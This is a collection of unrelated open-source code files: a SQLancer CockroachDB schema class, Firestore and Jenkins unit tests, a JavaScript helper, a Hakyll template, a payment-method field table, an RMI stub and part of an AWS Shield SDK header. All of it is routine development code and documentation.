text:
package sqlancer.cockroachdb;

import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import java.util.List;

import sqlancer.Randomly;
import sqlancer.SQLConnection;
import sqlancer.cockroachdb.CockroachDBProvider.CockroachDBGlobalState;
import sqlancer.cockroachdb.CockroachDBSchema.CockroachDBTable;
import sqlancer.common.schema.AbstractRelationalTable;
import sqlancer.common.schema.AbstractSchema;
import sqlancer.common.schema.AbstractTableColumn;
import sqlancer.common.schema.AbstractTables;
import sqlancer.common.schema.TableIndex;

public class CockroachDBSchema extends AbstractSchema<CockroachDBGlobalState, CockroachDBTable> {

    public enum CockroachDBDataType {

        INT, BOOL, STRING, FLOAT, BYTES, BIT, VARBIT, SERIAL, INTERVAL, TIMESTAMP, TIMESTAMPTZ, DECIMAL, JSONB, TIME,
        TIMETZ, ARRAY;

        public static CockroachDBDataType getRandom() {
            return Randomly.fromOptions(values());
        }

        public CockroachDBCompositeDataType get() {
            return CockroachDBCompositeDataType.getRandomForType(this);
        }

    }

    public static class CockroachDBCompositeDataType {

        private final CockroachDBDataType dataType;

        private final int size;

        private CockroachDBCompositeDataType elementType;

        public CockroachDBCompositeDataType(CockroachDBDataType dataType) {
            this.dataType = dataType;
            this.size = -1;
        }

        public CockroachDBCompositeDataType(CockroachDBDataType dataType, int size) {
            this.dataType = dataType;
            this.size = size;
        }

        public CockroachDBCompositeDataType(CockroachDBDataType dataType, CockroachDBCompositeDataType elementType) {
            if (dataType != CockroachDBDataType.ARRAY) {
                throw new IllegalArgumentException();
            }
            this.dataType = dataType;
            this.size = -1;
            this.elementType = elementType;
        }

        public CockroachDBDataType getPrimitiveDataType() {
            return dataType;
        }

        public int getSize() {
            if (size == -1) {
                throw new AssertionError(this);
            }
            return size;
        }

        public boolean isString() {
            return dataType == CockroachDBDataType.STRING;
        }

        public static CockroachDBCompositeDataType getInt(int size) {
            return new CockroachDBCompositeDataType(CockroachDBDataType.INT, size);
        }

        public static CockroachDBCompositeDataType getBit(int size) {
            return new CockroachDBCompositeDataType(CockroachDBDataType.BIT, size);
        }

        @Override
        public String toString() {
            switch (dataType) {
            case INT:
                switch (size) {
                case 2:
                    return Randomly.fromOptions("INT2", "SMALLINT");
                case 4:
                    return "INT4";
                case 8:
                    // "INTEGER": can be affected by a session variable
                    return Randomly.fromOptions("INT8", "INT64", "BIGINT");
                default:
                    return "INT";
                }
            case SERIAL:
                switch (size) {
                case 2:
                    return Randomly.fromOptions("SERIAL2", "SMALLSERIAL");
                case 4:
                    return "SERIAL4";
                case 8:
                    return Randomly.fromOptions("SERIAL8", "BIGSERIAL");
                default:
                    throw new AssertionError();
                }
            case BIT:
                if (size == 1 && Randomly.getBoolean()) {
                    return "BIT";
                } else {
                    return String.format("BIT(%d)", size);
                }
            case VARBIT:
                if (size == -1) {
                    return String.format("VARBIT");
                } else {
                    return String.format("VARBIT(%d)", size);
                }
            case ARRAY:
                return String.format("%s[]", elementType.toString());
            default:
                return dataType.toString();
            }
        }

        public static CockroachDBCompositeDataType getRandom() {
            CockroachDBDataType randomDataType = CockroachDBDataType.getRandom();
            return getRandomForType(randomDataType);
        }

        private static CockroachDBCompositeDataType getRandomForType(CockroachDBDataType randomDataType) {
            if (randomDataType == CockroachDBDataType.INT || randomDataType == CockroachDBDataType.SERIAL) {
                return new CockroachDBCompositeDataType(randomDataType, Randomly.fromOptions(2, 4, 8));
            } else if (randomDataType == CockroachDBDataType.BIT) {
                return new CockroachDBCompositeDataType(randomDataType, (int) Randomly.getNotCachedInteger(1, 200));
            } else if (randomDataType == CockroachDBDataType.VARBIT) {
                return new CockroachDBCompositeDataType(randomDataType, (int) Randomly.getNotCachedInteger(1, 200));
            } else if (randomDataType == CockroachDBDataType.ARRAY) {
                return new CockroachDBCompositeDataType(randomDataType, getRandomForType(getArrayElementType()));
            } else {
                return new CockroachDBCompositeDataType(randomDataType);
            }
        }

        private static CockroachDBDataType getArrayElementType() {
            while (true) {
                CockroachDBDataType type = CockroachDBDataType.getRandom();
                if (type != CockroachDBDataType.ARRAY && type != CockroachDBDataType.JSONB) {
                    // nested arrays are not supported:
                    // https://github.com/cockroachdb/cockroach/issues/32552
                    // JSONB arrays are not supported as well:
                    // https://github.com/cockroachdb/cockroach/issues/23468
                    return type;
                }
            }
        }

        public static CockroachDBCompositeDataType getVarBit(int maxSize) {
            return new CockroachDBCompositeDataType(CockroachDBDataType.VARBIT, maxSize);
        }

        public CockroachDBCompositeDataType getElementType() {
            return elementType;
        }

    }

    public static class CockroachDBColumn extends AbstractTableColumn<CockroachDBTable, CockroachDBCompositeDataType> {

        private final boolean isPrimaryKey;
        private final boolean isNullable;

        public CockroachDBColumn(String name, CockroachDBCompositeDataType columnType, boolean isPrimaryKey,
                boolean isNullable) {
            super(name, null, columnType);
            this.isPrimaryKey = isPrimaryKey;
            this.isNullable = isNullable;
        }

        public boolean isPrimaryKey() {
            return isPrimaryKey;
        }

        public boolean isNullable() {
            return isNullable;
        }

    }

    public static class CockroachDBTables extends AbstractTables<CockroachDBTable, CockroachDBColumn> {

        public CockroachDBTables(List<CockroachDBTable> tables) {
            super(tables);
        }

    }

    public CockroachDBSchema(List<CockroachDBTable> databaseTables) {
        super(databaseTables);
    }

    public CockroachDBTables getRandomTableNonEmptyTables() {
        return new CockroachDBTables(Randomly.nonEmptySubset(getDatabaseTables()));
    }

    private static CockroachDBCompositeDataType getColumnType(String typeString) {
        if (typeString.endsWith("[]")) {
            String substring = typeString.substring(0, typeString.length() - 2);
            CockroachDBCompositeDataType elementType = getColumnType(substring);
            return new CockroachDBCompositeDataType(CockroachDBDataType.ARRAY, elementType);
        }
        if (typeString.startsWith("STRING COLLATE")) {
            return new CockroachDBCompositeDataType(CockroachDBDataType.STRING);
        }
        if (typeString.startsWith("BIT(")) {
            int val = Integer.parseInt(typeString.substring(4, typeString.length() - 1));
            return CockroachDBCompositeDataType.getBit(val);
        }
        if (typeString.startsWith("VARBIT(")) {
            int val = Integer.parseInt(typeString.substring(7, typeString.length() - 1));
            return CockroachDBCompositeDataType.getBit(val);
        }
        switch (typeString) {
        case "VARBIT":
            return CockroachDBCompositeDataType.getVarBit(-1);
        case "BIT":
            return CockroachDBCompositeDataType.getBit(1);
        case "INT8":
            return CockroachDBCompositeDataType.getInt(8);
        case "INT4":
            return CockroachDBCompositeDataType.getInt(4);
        case "INT2":
            return CockroachDBCompositeDataType.getInt(2);
        case "BOOL":
            return new CockroachDBCompositeDataType(CockroachDBDataType.BOOL);
        case "STRING":
            return new CockroachDBCompositeDataType(CockroachDBDataType.STRING);
        case "FLOAT8":
            return new CockroachDBCompositeDataType(CockroachDBDataType.FLOAT);
        case "BYTES":
            return new CockroachDBCompositeDataType(CockroachDBDataType.BYTES);
        case "INTERVAL":
            return new CockroachDBCompositeDataType(CockroachDBDataType.INTERVAL);
        case "DECIMAL":
            return new CockroachDBCompositeDataType(CockroachDBDataType.DECIMAL);
        case "TIMESTAMP":
            return new CockroachDBCompositeDataType(CockroachDBDataType.TIMESTAMP);
        case "TIMESTAMPTZ":
            return new CockroachDBCompositeDataType(CockroachDBDataType.TIMESTAMPTZ);
        case "JSONB":
            return new CockroachDBCompositeDataType(CockroachDBDataType.JSONB);
        case "TIME":
            return new CockroachDBCompositeDataType(CockroachDBDataType.TIME);
        case "TIMETZ":
            return new CockroachDBCompositeDataType(CockroachDBDataType.TIMETZ);

        default:
            throw new AssertionError(typeString);
        }
    }

    public static class CockroachDBTable
            extends AbstractRelationalTable<CockroachDBColumn, TableIndex, CockroachDBGlobalState> {

        public CockroachDBTable(String tableName, List<CockroachDBColumn> columns, List<TableIndex> indexes,
                boolean isView) {
            super(tableName, columns, indexes, isView);
        }

    }

    public int getIndexCount() {
        int count = 0;
        for (CockroachDBTable table : getDatabaseTables()) {
            count += table.getIndexes().size();
        }
        return count;
    }

    public static CockroachDBSchema fromConnection(SQLConnection con, String databaseName) throws SQLException {
        List<CockroachDBTable> databaseTables = new ArrayList<>();
        List<String> tableNames = getTableNames(con);
        for (String tableName : tableNames) {
            List<CockroachDBColumn> databaseColumns = getTableColumns(con, tableName);
            List<TableIndex> indexes = getIndexes(con, tableName);
            boolean isView = tableName.startsWith("v");
            CockroachDBTable t = new CockroachDBTable(tableName, databaseColumns, indexes, isView);
            for (CockroachDBColumn c : databaseColumns) {
                c.setTable(t);
            }
            // To avoid some situations that columns can not be retrieved.
            if (databaseColumns.isEmpty()) {
                continue;
            }
            databaseTables.add(t);

        }
        return new CockroachDBSchema(databaseTables);
    }

    private static List<String> getTableNames(SQLConnection con) throws SQLException {
        List<String> tableNames = new ArrayList<>();
        try (Statement s = con.createStatement()) {
            ResultSet tableRs = s.executeQuery(
                    "SELECT table_name FROM information_schema.tables WHERE TABLE_TYPE IN ('BASE TABLE', 'LOCAL TEMPORARY');");
            while (tableRs.next()) {
                String tableName = tableRs.getString(1);
                tableNames.add(tableName);
            }
        }
        return tableNames;
    }

    private static List<TableIndex> getIndexes(SQLConnection con, String tableName) throws SQLException {
        List<TableIndex> indexes = new ArrayList<>();
        try (Statement s = con.createStatement()) {
            try (ResultSet rs = s.executeQuery(String.format("SHOW INDEX FROM %s", tableName))) {
                while (rs.next()) {
                    String indexName = rs.getString("index_name");
                    indexes.add(TableIndex.create(indexName));
                }
            }
        }
        return indexes;
    }

    private static List<CockroachDBColumn> getTableColumns(SQLConnection con, String tableName) throws SQLException {
        List<CockroachDBColumn> columns = new ArrayList<>();
        try (Statement s = con.createStatement()) {
            try (ResultSet rs = s.executeQuery("SHOW COLUMNS FROM " + tableName)) {
                while (rs.next()) {
                    String columnName = rs.getString("column_name");
                    if (columnName.contains("crdb_internal")) {
                        continue; // created for CREATE INDEX ON t0(c0) USING HASH WITH BUCKET_COUNT = 1;
                    }
                    String dataType = rs.getString("data_type");
                    boolean isNullable = rs.getBoolean("is_nullable");
                    String indices = rs.getString("indices");
                    boolean isPrimaryKey = indices.contains("primary");
                    CockroachDBColumn c = new CockroachDBColumn(columnName, getColumnType(dataType), isPrimaryKey,
                            isNullable);
                    columns.add(c);
                }
            } catch (SQLException e) {
                if (CockroachDBBugs.bug85394 && e.getMessage().contains("incompatible type annotation for ARRAY")) {
                    return columns;
                }
                throw e;
            }
        }
        return columns;
    }

}


text:
;(function(Agent) {

  Agent.randomString = function(length) {
      var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
      var result = '';
      for (var i = length; i > 0; --i) result += chars[Math.round(Math.random() * (chars.length - 1))];
      return result;
  }

}(Agent));

redpajama_set_name: RedPajamaGithub


text:
package com.google.firebase.firestore;

import static com.google.firebase.firestore.testutil.TestUtil.map;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotEquals;

import org.junit.Test;
import org.junit.runner.RunWith;
import org.robolectric.RobolectricTestRunner;
import org.robolectric.annotation.Config;

@RunWith(RobolectricTestRunner.class)
@Config(manifest = Config.NONE)
public class DocumentSnapshotTest {

  @Test
  public void testEquals() {
    DocumentSnapshot base = TestUtil.documentSnapshot("rooms/foo", map("a", 1), false);
    DocumentSnapshot baseDup = TestUtil.documentSnapshot("rooms/foo", map("a", 1), false);
    DocumentSnapshot noData = TestUtil.documentSnapshot("rooms/foo", null, false);
    DocumentSnapshot noDataDup = TestUtil.documentSnapshot("rooms/foo", null, false);
    DocumentSnapshot differentPath = TestUtil.documentSnapshot("rooms/bar", map("a", 1), false);
    DocumentSnapshot differentData = TestUtil.documentSnapshot("rooms/foo", map("b", 1), false);
    DocumentSnapshot fromCache = TestUtil.documentSnapshot("rooms/foo", map("a", 1), true);

    assertEquals(base, baseDup);
    assertEquals(noData, noDataDup);
    assertNotEquals(base, noData);
    assertNotEquals(noData, base);
    assertNotEquals(base, differentPath);
    assertNotEquals(base, differentData);
    assertNotEquals(base, fromCache);

    // The assertions below that hash codes of different values are not equal is not something that
    // we guarantee. In particular `base` and `differentData` have a hash collision because we
    // don't use data in the hashCode.
    assertEquals(base.hashCode(), baseDup.hashCode());
    assertEquals(noData.hashCode(), noDataDup.hashCode());
    assertNotEquals(base.hashCode(), noData.hashCode());
    assertNotEquals(noData.hashCode(), base.hashCode());
    assertNotEquals(base.hashCode(), differentPath.hashCode());
    assertNotEquals(base.hashCode(), fromCache.hashCode());
  }
}


text:
package jenkins.widgets;

import hudson.model.Job;
import hudson.model.MockItem;
import hudson.model.ModelObject;
import hudson.model.Result;
import hudson.model.Run;
import jenkins.widgets.HistoryPageEntry;
import jenkins.widgets.HistoryPageFilter;
import org.junit.Assert;
import org.junit.Test;
import org.mockito.Mockito;

import java.io.IOException;
import java.util.ArrayList;
import java.util.List;

/**
 * @author tom.fennelly@gmail.com
 */
public class HistoryPageFilterTest {

    /**
     * No items.
     */
    @Test
    public void test_latest_empty_page() {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        historyPageFilter.add(itemList);
        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(false, historyPageFilter.hasDownPage);
        Assert.assertEquals(true, historyPageFilter.queueItems.isEmpty());
        Assert.assertEquals(true, historyPageFilter.runs.isEmpty());
    }

    /**
     * Latest/top page where total number of items < the max page size.
     */
    @Test
    public void test_latest_partial_page() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 2));
        itemList.addAll(newQueueItems(3, 4));

        // want to make sure the list items are ordered by id in descending order
        Assert.assertEquals(HistoryPageEntry.getEntryId(1), HistoryPageEntry.getEntryId(itemList.get(0)));
        historyPageFilter.add(itemList);
        Assert.assertEquals(4, HistoryPageEntry.getEntryId(itemList.get(0)));

        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(false, historyPageFilter.hasDownPage);
        Assert.assertEquals(2, historyPageFilter.queueItems.size());
        Assert.assertEquals(2, historyPageFilter.runs.size());

        Assert.assertEquals(4, historyPageFilter.queueItems.get(0).getEntryId());
        Assert.assertEquals(4, historyPageFilter.newestOnPage);
        Assert.assertEquals(3, historyPageFilter.queueItems.get(1).getEntryId());
        Assert.assertEquals(HistoryPageEntry.getEntryId(2), historyPageFilter.runs.get(0).getEntryId());
        Assert.assertEquals(HistoryPageEntry.getEntryId(1), historyPageFilter.runs.get(1).getEntryId());
        Assert.assertEquals(HistoryPageEntry.getEntryId(1), historyPageFilter.oldestOnPage);
    }

    /**
     * Latest/top page where total number of items > the max page size.
     */
    @Test
    public void test_latest_longer_list() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        itemList.addAll(newQueueItems(11, 12));

        historyPageFilter.add(itemList);

        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(2, historyPageFilter.queueItems.size());
        Assert.assertEquals(3, historyPageFilter.runs.size());

        Assert.assertEquals(12, historyPageFilter.queueItems.get(0).getEntryId());
        Assert.assertEquals(12, historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.runs.get(0).getEntryId());
    }

    /**
     * Test olderThan (page down) when set to id greater than newest (should never happen). Should be same as not
     * specifying newerThan/olderThan.
     */
    @Test
    public void test_olderThan_gt_newest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, 11L);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(5, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage);
    }

    /**
     * Test olderThan (page down) when set to id less than the oldest (should never happen). Should just give an
     * empty list of builds.
     */
    @Test
    public void test_olderThan_lt_oldest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, 0L);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(true, historyPageFilter.hasUpPage);
        Assert.assertEquals(false, historyPageFilter.hasDownPage);
        Assert.assertEquals(0, historyPageFilter.runs.size());
    }

    /**
     * Test olderThan (page down) when set to an id close to the oldest in the list (where
     * there's less than a full page older than the supplied olderThan arg).
     */
    @Test
    public void test_olderThan_leaving_part_page() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, 4L);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(true, historyPageFilter.hasUpPage);
        Assert.assertEquals(false, historyPageFilter.hasDownPage);

        // Should only be 3 runs on the page (oldest 3)
        Assert.assertEquals(3, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(3), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(1), historyPageFilter.oldestOnPage);
    }

    /**
     * Test olderThan (page down) when set to an id in the middle. Should be a page up and a page down.
     */
    @Test
    public void test_olderThan_mid_page() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, null, 8L);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(true, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(5, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(7), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(3), historyPageFilter.oldestOnPage);
    }

    /**
     * Test newerThan (page up) when set to id greater than newest (should never happen). Should be an empty list.
     */
    @Test
    public void test_newerThan_gt_newest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, 11L, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(0, historyPageFilter.runs.size());
    }

    /**
     * Test newerThan (page up) when set to id less than the oldest (should never happen). Should give the oldest
     * set of builds.
     */
    @Test
    public void test_newerThan_lt_oldest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, 0L, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(true, historyPageFilter.hasUpPage);
        Assert.assertEquals(false, historyPageFilter.hasDownPage);
        Assert.assertEquals(5, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(5), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(1), historyPageFilter.oldestOnPage);
    }

    /**
     * Test newerThan (page up) mid range nearer the oldest build in the list.
     */
    @Test
    public void test_newerThan_near_oldest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, 3L, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(true, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(5, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(8), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(4), historyPageFilter.oldestOnPage);
    }

    /**
     * Test newerThan (page up) mid range nearer the newest build in the list. This works a little different
     * in that it will put the 2 builds newer than newerThan on the page and then fill the remaining slots on the
     * page with builds equal to and older i.e. it return the newest/latest builds.
     */
    @Test
    public void test_newerThan_near_newest() throws IOException {
        HistoryPageFilter<ModelObject> historyPageFilter = newPage(5, 8L, null);
        List<ModelObject> itemList = new ArrayList<ModelObject>();

        itemList.addAll(newRuns(1, 10));
        historyPageFilter.add(itemList);

        Assert.assertEquals(false, historyPageFilter.hasUpPage);
        Assert.assertEquals(true, historyPageFilter.hasDownPage);
        Assert.assertEquals(5, historyPageFilter.runs.size());

        Assert.assertEquals(HistoryPageEntry.getEntryId(10), historyPageFilter.newestOnPage);
        Assert.assertEquals(HistoryPageEntry.getEntryId(6), historyPageFilter.oldestOnPage);
    }

    private List<ModelObject> newQueueItems(long startId, long endId) {
        List<ModelObject> items = new ArrayList<ModelObject>();
        for (long queueId = startId; queueId <= endId; queueId++) {
            items.add(new MockItem(queueId));
        }
        return items;
    }

    private List<ModelObject> newRuns(long startId, long endId) throws IOException {
        List<ModelObject> runs = new ArrayList<ModelObject>();
        for (long queueId = startId; queueId <= endId; queueId++) {
            runs.add(new MockRun(queueId));
        }
        return runs;
    }

    private HistoryPageFilter<ModelObject> newPage(int maxEntries, Long newerThan, Long olderThan) {
        HistoryPageFilter<ModelObject> pageFilter = new HistoryPageFilter<ModelObject>(maxEntries);
        if (newerThan != null) {
            pageFilter.setNewerThan(HistoryPageEntry.getEntryId(newerThan));
        } else if (olderThan != null) {
            pageFilter.setOlderThan(HistoryPageEntry.getEntryId(olderThan));
        }
        return pageFilter;
    }

    @SuppressWarnings("unchecked")
    private static class MockRun extends Run {
        private final long queueId;

        public MockRun(long queueId) throws IOException {
            super(Mockito.mock(Job.class));
            this.queueId = queueId;
        }

        @Override
        public int compareTo(Run o) {
            return 0;
        }

        @Override
        public Result getResult() {
            return result;
        }

        @Override
        public boolean isBuilding() {
            return false;
        }

        @Override
        public long getQueueId() {
            return queueId;
        }

        @Override
        public int getNumber() {
            return (int) queueId;
        }
    }
}


text:
Tutorial: $title$

$body$

Other tutorials

The other tutorials can be found here.

Documentation inaccurate or out-of-date? Found a typo?

Hakyll is an open source project, and one of the hardest parts is writing
correct, up-to-date, and understandable documentation. Therefore, the
authors would really appreciate it if you would
give feedback about
the tutorials, and especially report errors or difficulties you encountered. If
you have a github account, you can use the
issue system. Thanks!

If you run into any problems, all questions are welcome in the above google
group, or you could try the IRC channel, #hakyll on
freenode.


text:
Name | Type | Description | Notes
------------ | ------------- | ------------- | -------------
**_default** | **Boolean** |  |  [optional]
**expirationDate** | **Long** | The expiration date for the payment method, expressed as seconds since epoch. Typically used for credit card payment methods |  [optional]
**expirationMonth** | **Integer** | The expiration month (1 - 12) for the payment method. Typically used for credit card payment methods |  [optional]
**expirationYear** | **Integer** | The expiration year for the payment method. Typically used for credit card payment methods |  [optional]
**last4** | **String** | The last 4 digits of the account number for the payment method. Typically used for credit card payment methods |  [optional]
**sort** | **Integer** | The sort value for the payment method |  [optional]
**uniqueKey** | **String** | An optional unique identifier |  [optional]
**verified** | **Boolean** |  |  [optional]


text:
// Stub class generated by rmic, do not edit.
// Contents subject to change without notice.

public final class RegistryRetainCodebase_Stub
    extends java.rmi.server.RemoteStub
    implements BasicRemote, java.rmi.Remote
{
    private static final long serialVersionUID = 2;

    private static java.lang.reflect.Method $method_simpleMethod_0;

    static {
	try {
	    $method_simpleMethod_0 = BasicRemote.class.getMethod("simpleMethod", new java.lang.Class[] {});
	} catch (java.lang.NoSuchMethodException e) {
	    throw new java.lang.NoSuchMethodError(
		"stub class initialization failed");
	}
    }

    // constructors
    public RegistryRetainCodebase_Stub(java.rmi.server.RemoteRef ref) {
	super(ref);
    }

    // methods from remote interfaces

    // implementation of simpleMethod()
    public void simpleMethod()
	throws java.rmi.RemoteException
    {
	try {
	    java.security.AccessController.doPrivileged(
		new java.security.PrivilegedExceptionAction() {
		public Object run()
		    throws Exception
		{
		    ref.invoke(RegistryRetainCodebase_Stub.this, $method_simpleMethod_0, null, 4871065749645736786L);
		    return null;
		}
	    });

	} catch (java.lang.RuntimeException e) {
	    throw e;
	} catch (java.lang.Exception e) {
	    throw new java.rmi.UnexpectedException("undeclared checked exception", e);
	}
    }
}


text:
#pragma once
#include <aws/shield/Shield_EXPORTS.h>
#include <aws/shield/ShieldRequest.h>
#include <aws/core/utils/memory/stl/AWSString.h>
#include <aws/shield/model/ProtectionGroupAggregation.h>
#include <aws/shield/model/ProtectionGroupPattern.h>
#include <aws/shield/model/ProtectedResourceType.h>
#include <aws/core/utils/memory/stl/AWSVector.h>
#include <utility>

namespace Aws
{
namespace Shield
{
namespace Model
{

  /**
   */
  class AWS_SHIELD_API UpdateProtectionGroupRequest : public ShieldRequest
  {
  public:
    UpdateProtectionGroupRequest();

    // Service request name is the Operation name which will send this request out,
    // each operation should has unique request name, so that we can get operation's name from this request.
    // Note: this is not true for response, multiple operations may have the same response name,
    // so we can not get operation's name from response.
    inline virtual const char* GetServiceRequestName() const override { return "UpdateProtectionGroup"; }

    Aws::String SerializePayload() const override;

    Aws::Http::HeaderValueCollection GetRequestSpecificHeaders() const override;

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline const Aws::String& GetProtectionGroupId() const{ return m_protectionGroupId; }

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline bool ProtectionGroupIdHasBeenSet() const { return m_protectionGroupIdHasBeenSet; }

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline void SetProtectionGroupId(const Aws::String& value) { m_protectionGroupIdHasBeenSet = true; m_protectionGroupId = value; }

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline void SetProtectionGroupId(Aws::String&& value) { m_protectionGroupIdHasBeenSet = true; m_protectionGroupId = std::move(value); }

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline void SetProtectionGroupId(const char* value) { m_protectionGroupIdHasBeenSet = true; m_protectionGroupId.assign(value); }

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline UpdateProtectionGroupRequest& WithProtectionGroupId(const Aws::String& value) { SetProtectionGroupId(value); return *this;}

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline UpdateProtectionGroupRequest& WithProtectionGroupId(Aws::String&& value) { SetProtectionGroupId(std::move(value)); return *this;}

    /**
     *
The name of the protection group. You use this to identify the protection
     * group in lists and to manage the protection group, for example to update,
     * delete, or describe it.

     */
    inline UpdateProtectionGroupRequest& WithProtectionGroupId(const char* value) { SetProtectionGroupId(value); return *this;}

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline const ProtectionGroupAggregation& GetAggregation() const{ return m_aggregation; }

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline bool AggregationHasBeenSet() const { return m_aggregationHasBeenSet; }

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline void SetAggregation(const ProtectionGroupAggregation& value) { m_aggregationHasBeenSet = true; m_aggregation = value; }

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
     * good choice for resources that share traffic uniformly. Examples include
     * accelerators and load balancers.

Max - Use the highest traffic
     * from each resource. This is useful for resources that don't share traffic and
     * for resources that share that traffic in a non-uniform way. Examples include
     * CloudFront distributions and origin resources for CloudFront distributions.

     *

     */
    inline void SetAggregation(ProtectionGroupAggregation&& value) { m_aggregationHasBeenSet = true; m_aggregation = std::move(value); }

    /**
     *
Defines how AWS Shield combines resource data for the group in order to
     * detect, mitigate, and report events.

Sum - Use the total
     * traffic across the group. This is a good choice for most cases. Examples include
     * Elastic IP addresses for EC2 instances that scale manually or automatically.

     *

Mean - Use the average of the traffic across the group. This is a
